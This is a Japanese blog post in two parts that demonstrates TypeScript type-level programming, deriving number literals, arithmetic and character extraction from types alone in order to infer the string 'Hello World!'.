labs.spookies.co.jp

まだPart1見てないよ~って方はPart1を見てからじゃないと内容を理解できないのでそちらをご覧ください~

次にするのは、typeで四則演算を行うtypeを作りたいと思います。 typeで四則演算ってできるの!?って思うかもしれないですが、厳密には自然数だけで割り算以外であればとっても簡単に作れちゃうんです。(割り算は少数になる可能性があり考慮することが多い)

2. 四則演算と数値を作る

2-1. Tupleを錬成する!

type GetRange<N, Acc> =
  Acc extends number[]
    ? Acc[Length] extends N
      ? Acc
      : GetRange<N, [...Acc, Acc[Length]]>
    : never;

Tuple型は再帰を使うと簡単に要素数を増やすことができます! 再帰系型の中でも、Rangeは一番有名じゃないでしょうか。

1. <3, []> => [0]
2. <3, [0]> => [0, 1]
3. <3, [0,1]> => [0, 1, 2]
4. <3, [0,1,2]> => return

指定された数値リテラルのLengthとなるまで「その時配列に入っている要素数」を配列内に入れるという動作を繰り返すと、Rangeした結果のTupleが返却されます。

言ってしまえばこのRangeを取得したいがためにLengthを定義したまでのことはあります。これがないと難しいのじゃ

2-2. 加算と減算を作る!

type Add<Left, Right> = [
  ...GetRange<Left, []>,
  ...GetRange<Right, []>
][Length];

type Sub<Left, Right> =
  GetRange<Left, []> extends [
    ...GetRange<Right, []>,
    ...infer R
  ]
    ? R[Length]
    : never;

Rangeと同じ要領で加算と減算を作成します。

加算はLength + Length、つまり左の数分のTupleと右の数分のTupleをスプレッド構文で展開すると、最終的なlengthは左のTupleのlengthと右のTupleのlengthを足し合わせた状態になります。

3 + 4 => [1,2,3] + [1,2,3,4]
[...[1,2,3], ...[1,2,3,4]] => [1,2,3,1,2,3,4] => 7

減算は、逆に、左のTupleから右のTuple分を消すと最終的な要素数が左の要素数から右の要素数を引いた数になります。 感覚的には、掛け算の約分に近い感じで、同じ要素を取り除くようなイメージです。

5 - 3 => [1,2,3,4,5] - [1,2,3]
[1,2,3,4,5] extends [[1,2,3], ...infer T] => [4,5] => 2

2-3. 0と1を錬成する!

今回の縛りでは、数値リテラルは直接定義できません。じゃあどうするか? Tupleからとってくればいいんです。

type Zero = [][Length]; // 0
type One = [true][Length]; // 1

簡単ですね! ただ、これを何回もやってると長いので、先ほどの計算が生きてくるわけです。 その中でも0と1は数値リテラルの種的な扱いをするのでちょっと特殊なだけです。

2-4. 乗算を作る!

ひたすらに加算しまくるのもめんどくさいので乗算も作っちゃいましょう!

type Mul<Left, Right, Total> =
  Right extends Zero
    ? Total
    : Mul<Left, Sub<Right, One>, Add<Total, Left>>;

これは右側の回数分再帰をして、0になるまでTotalに左の数を加算し続けているだけです。

2 * 3 => 2 + 2 + 2 => 6
8 * 8 => 8 + 8 + 8 + 8 + 8 + 8 + 8 + 8 => 64

あまりやりすぎると、再帰エラーになってしまうので気を付けましょうね...!

2-5. 2と4を作る!

最後に作った四則演算を使って2と3を作ってみましょ。

type Two = Add<One, One>; // 1 + 1 = 2
type Four = Mul<Two, Two, Zero>; // 2 * 2 = 4

わりと直感的に数値を操作できるようになりましたね!いい話 まあ4に関しては別に使う必要ないんですけどね...

3. Hello Worldを錬成する

さあいよいよHelloWorldを錬成する時が来ました!

3-1. 文字リテラルから特定インデックスの文字を取得する関数を作る!

今までの知識を使って文字リテラルのchatAtを作成しましょう!

type CharAt<Str, Index> =
  Index extends Zero
    ? Str extends `${infer FirstChar}${string}`
      ? FirstChar
      : never
    : Str extends `${string}${infer Remain}`
      ? CharAt<Remain, Sub<Index, One>>
      : never;

割と単純ですが、Indexと文字リテラルの頭を引いて行って、Indexが0になったときの頭文字を取得するという感じです。

1. <"abcde", 3> => <"bcde", 2>
2. <"bcde", 2> => <"cde", 1>
3. <"cde", 1> => <"de", 0>
4. <"de", 0> => "d"

今まで出てきた知識を使っているだけなので、勝手がわかれば簡単ですね~

3-2. 中間ポイントを計算しておく

文字テーブルを使うにあたって中間地点からアクセスできるようにちょっとだけ計算しておきます。

type Calc32 = Mul<Mul<Two, Four, Zero>, Four, Zero>;
type Calc20 = Add<Mul<Four, Four, Zero>, Four>;

3-3. 文字を1つづつ取得する!

文字テーブルからcharAtでHelloWorldを取得していきます! ここはもう今まで出てきたのを組み合わせてくだけなので余裕です。

type CharTable = "abcdefghijklmnopqrstuvwxyz!? ";
type h = CharAt<CharTable, Sub<Mul<Four, Two, Zero>, One>>;
type e = CharAt<CharTable, Four>;
type l = CharAt<CharTable, Sub<Mul<Four, Four, Zero>, Add<One, Four>>>;
type o = CharAt<CharTable, Sub<Mul<Four, Four, Zero>, Two>>;
type sp = CharAt<CharTable, Sub<Calc32, Four>>;
type w = CharAt<CharTable, Add<Calc20, Two>>;
type r = CharAt<CharTable, Add<Sub<Calc20, Four>, One>>;
type d = CharAt<CharTable, Add<Two, One>>;
type ex = CharAt<CharTable, Sub<Calc32, Add<Four, Two>>>;

3-4. 組み合わせる!

最後に、先ほど取得した文字を結合していくだけ!

type Result = TupleJoin<[
  Capitalize<TupleJoin<[h, e, l, l, o]>>,
  sp,
  Capitalize<TupleJoin<[w, o, r, l, d]>>,
  ex
]>;

これで、「"Hello World!"」の文字リテラルが推論できました!!!!!!わーい

終わりに

今回はTypeScriptのtype縛りでHello Worldをしてみました! TypeScriptでもここまでのtypeを構築することはそうそうないので、かなりTypeScriptでの型推論という部分に関して深掘りして行けたかなぁ~と思っています。 これをすぐに理解できる方はきっとTypeScriptのプロなんでしょう。 逆にこの記事を理解できれば少なくとも上級者レベルかも???

次は何の言語で遊ぼうかなぁ~

「Type」ScriptでHelloWorldをしてみた Part1

やあこんにちは。🌱だよ。皆さんはこのポストをご覧になったでしょうか?

この投稿の画像、頭で解けた人はいますでしょうか? 実はこれ、最終的には「Hello_Type_World」という文字が推論されるんです! すごいでしょ

今回は上のコードが主に題材となっています!

TypeScriptには俗に言われている「型パズル」というのが存在しています。 が、今回は特別に...!? 「型パズル」ではなく「型プログラミング」をしてみたいと思います。つまり型だけでプログラミングをするんです。処理は書いちゃいけません!

やはり型プログラミングをするうえで一番最初にするのは誰しもやってきた「Hello World」の出力でしょう。 ですが、今回は「型」が題材なので、「出力」ではなく「推論」をしていきます。 もちろん文字列で単にHellow Worldをするのではなく、TypeScriptの「Type」をフルに使った正真正銘の「Type」ScriptでHello Worldをやっていこうと思います!!!!

結果だけ知りたい方のために最終的にはこのコードはこちらです!

type Result = TupleJoin<[
  Capitalize<TupleJoin<[h, e, l, l, o]>>,
  sp,
  Capitalize<TupleJoin<[w, o, r, l, d]>>,
  ex
]>;

ね、簡単でしょう?

え...難しい?じゃあ、順を追ってちゃんと解説していきます!

実行環境

  • TypeScript v5.9.3
  • Target/Module: ESNext
  • TypeScript Playground 標準設定

ルール

  • typeのみ定義可能(つまり関数/値の定義禁止)
  • 文字テーブル以外のlength > 0の直接的な文字リテラルの禁止
  • テンプレートリテラルにおいてプレースホルダー以外の使用を禁止
  • 直接的な数値リテラルの禁止
  • 型定義時のジェネリクス引数のextends及びデフォルト値の禁止
    • type Type<T extends string> みたいな表現ができない代わりにtype Type<T> = T extends stringにしてねという意味
  • object型({ key: value })の定義禁止
  • 文字テーブルを使用し、Resultが"Hello World!"という文字リテラルで推論されていること

説明

1. "length"を作る

文字リテラルが作れない以上"length"は作れないです。 なんで"length"を作らなきゃいけないのか?というと、これはTuple型系の推論をする際に「length」というのはとても重要になります。

type TupleLEngth = [a, b, c, d]["length"];

この場合、TupleLengthは4の数値リテラルを返してくれます。これはTuple型というTypeScriptにある特殊な型形態だからこそできる推論で、基本的にArray.prototype.lengthは静的に要素数を推論できないためnumberを推論しますが、TypeScriptのTuple型は「要素数が必ず固定になっている配列型」という解釈をするため、必ずlengthが一定になる=lengthが数値リテラルで推論できるわけです。

そしてこの推論をするために"length"が必要となるわけですね。

1-1. 標準APIから文字リテラルを抽出する!

しょっぱなから何言ってる変わらないと思いますが、標準APIは文字リテラルの宝庫です。 つまるところ標準APIのプロパティ名や関数名を抽出できれば文字リテラルを定義することなく手文字リテラルを作れちゃうわけですね。

主にここでキーとなってくるのはこの構文です。

type Key = keyof { aaa: 0, bbb: 1 }; // 'aaa' | 'bbb'

keyofはそのオブジェクトのプロパティ名としてアクセス可能なものを文字リテラルのUnionとして返してくれます。 つまりこれで文字リテラルが手に入るわけですね。すばらしい

ただちょっと待って!これはUnionです。つまり完全にその文字リテラルを保証してくれるわけではありません。 つまりUnionじゃなければいいんです。 じゃあどうすればいいのか?オブジェクトを定義する?でも今回のルールでは新規オブジェクトの定義はできません。 オブジェクトからそのプロパティだけを抽出しちゃいましょう!

type IsAny<T> = true extends false & T ? true : false;
type Equal<L, R> = [R] extends [L] ? [L] extends [R] ? true : false : false;
type PickKey<T, P> = {
  [K in keyof T]: IsAny<T[K]> extends false
    ? Equal<T[K], P> extends true
      ? K
      : never
  : never
}[keyof T];

やってることを端的にいうと、オブジェクト内にあるプロパティの型が指定された型に一致するプロパティの値をプロパティ名として、オブジェクトのキーから値(プロパティ名)だけを取り出すということをしています。

例えば、PickKey<typeof Object, typeof Object.defineProperty>とすると"defineProperty"が返ってきます これはtypeof ObjectObjectConstructorを型として、typeof Object.defineProperty<T>(o: T, p: PropertyKey, attributes: PropertyDescriptor & ThisType<any>) => Tなので、この型に合って(Equal)かつAnyではないプロパティを探します。

型のEqualって何ぞやって感じですが、B extends Aは数学の集合的な挙動をして、集合記号的にいうとB⊆Aなので、プログラム的に直すとB <= Aです。つまりその逆であるB >= Aをすると、B <= A && B >= Aで、B == Aと同じような意味合いを持つことができます。 しかし、どちらかがUnionである場合注意が必要で、TypeScriptではextendsを通るときにUnion分散というのが行われます。例えばEqual<A | B, A>とすると推論されるのはbooleanとなります。(A==Aであり、A==Bでもあるため、true | falseとなり、結果booleanと解釈される) それを防ぐには、Tuple型に内包して定義をすると防げます。なので、[R] extends [L] ? [L] extends [R]となっているわけですね。

あと、IsAnyで防いでいるのは単にAnyが特殊だからです。 anyというのはTypeScriptにおいては絶対王者と言わんばかりの強制力を持ちます。

type A = 0 & any; // any
type B = 0 & unknown; // 0

anyunknownと違い、「推論を放棄する」というのに近い意味を持つもので、放棄された推論は基本的に何してもanyとなるという挙動をします。 なのでextendsを通しても基本的には必ずtrueになるような挙動を示すため、それを逆手にとってtrue extends false & Tと置くと、any以外は基本的にfalseになります。なのでいい感じにAnyかどうかを判別できるわけです。

1-2. プリミティブから文字リテラルを抽出する!

特殊なプリミティブ型はテンプレートリテラルに通すと文字リテラルを取得できます。 主にtrue, false, null, undefinedの4つは文字リテラルとして推論してくれます。

type True = `${true}`; // "true"
type False = `${false}`; // "false"
type Null = `${null}`; // "null"
type Undefined = `${undefined}`; // "undefined"

1-3. 最初の文字と最後の文字を抜き出す!

さて、ここまで来たら文字を加工する工程になります。 いろんなところから文字リテラルは推論できましたが、lengthを作るためにはちゃんと"length"という文字リテラルを生み出さなくてはなりません。

なので、推論した文字リテラルの一部を拝借できるようにしましょう!

type GetFirstChar<S> = S extends `${infer First}${string}`
  ? First
  : never;
type GetLastChar<S> = S extends `${infer First}${infer Remain}`
  ? Remain extends ''
    ? First
    : GetLastChar<Remain>
  : never;

実はテンプレートリテラルはextendsとinferを使うと面白いことができて、特定の文字リテラルの一部をinferで使用できちゃうんですね~

なので、${infer First}${string}とテンプレートリテラルに入れると、Firstは最初の1文字、その他は何かしらの文字列(string)というextendsができて、Firstを返してあげると最初の1文字だけ返ってくるわけです。

type A = GetFirstChar<"First">; // "F"

最後の文字を取得したいときは、型を再帰的に推論してあげるとできるようになります。 「最初の文字を取り出す」という動作で残った文字列リテラルが、もし空文字列であるならば「それ以上文字がない」ということになるので、取り出した文字を返します。まだ文字が存在するなら、残った文字リテラルで同じ処理を繰り返すといった動作をすることで、結果的に最後の文字が取り出せるというわけです。

// 関数でいうとこういう感じになる
function GetLastChar(S: string) {
  const First = S[0];
  const Remain = S.slice(1);
  if (First !== undefined && Remain !== undefined) {
    if (Remain === "") {
      return First;
    } else {
       return GetLastChar(Remain);
    }
  } else {
    throw;
  }
}

なぜこんな推論ができるかというと、テンプレートリテラルには特殊な推論ルールがあって、以下のルールで推論されるからです。

各型式(infer Tstring)を推論元となる文字列内の部分文字列と左から右へ照合することで進行される。型式の直後にリテラル文字列が続く場合、推論元文字列内でそのリテラル文字列が最初に現れる位置まで、推論元文字列から0個以上の文字を推論することで照合される。 ただし、「型式の直後に別の型式が続く場合、推論元文字列から単一の文字を推論することで照合される。」

引用元: https://stackoverflow.com/questions/76112923/how-do-i-correctly-use-multiple-instances-of-the-infer-keyword-with-template-lit

つまり、

type ContainsUnderFirst<S> =
  S extends `${infer First}_${string}` ? First : never;
type A = ContainsUnderFirst<"_">; // A = ""
type A = ContainsUnderFirst<"aaa_">; // A = "aaa"
type A = ContainsUnderFirst<"_aaa">; // A = ""

みたいな感じになるということです。

1-4. 結合関数を作って1つの文字リテラルを生み出す!

文字リテラルの文字を抽出で来たら結合をして1つの文字リテラルとして生み出しましょう! つまりjoinを作るというわけですね。

type TupleJoin<Tuple> =
  Tuple extends [infer Str extends string]
    ? Str
    : Tuple extends [
        infer Char extends string,
        ...infer Remain
    ]
      ? `${Char}${TupleJoin<Remain>}`
      : never;

これも再帰的にTupleを取り出していって1文字づつ文字リテラルにして言っているだけです。

1. ["a", "b", "c"] // 3. a + bc
2. ["b", "c"] // 2. b + c
3. ["c"] // 1. c

これもTupleとinferで推論をしていて、Tupleでは、通常の配列同様にスプレッド構文が使用できちゃいます。 なので、[infer T, ...infer U]みたいにすると、Tには最初の要素が、Uにはそれ以外の要素が入るような推論をしてくれます。 なのでこのやり方で再帰的に行っていくと最初の要素がどんどんなくなっていくような挙動になるので、要素がなくなったときに文字列を左から埋めていくと、まるでjoinのような挙動を再現できちゃうんですね。

1-5 最後にlengthを錬成する!

さあここまで来たらあとは作った型を元に作るだけ!

type Length =
  TupleJoin<[
    GetLastChar<ToString<null>>,
    GetLastChar<ToString<true>>,
    GetFirstChar<ToString<null>>,
    GetFirstChar<PickKey<typeof globalThis, typeof globalThis>>,
    GetFirstChar<ToString<true>>,
    GetLastChar<PickKey<typeof globalThis, Math>>,
  ]>;

nullの「l」、trueの「e」、nullの「n」、globalThisの「g」、trueの「t」、Mathの「h」 これらを掛け合わせると...念願の"length"が完成!!!!!!

なげぇ!あとめっちゃ無理やり!!!

part2へ...

結構長かったですね。 でも大丈夫です!ここまでのことが理解できていればあとはもう同じような要素を組み合わせていくだけなので、実質ウィニングランみたいな感じです。

次は「「Type」ScriptでHelloWorldをしてみた Part2」でお会いしましょう。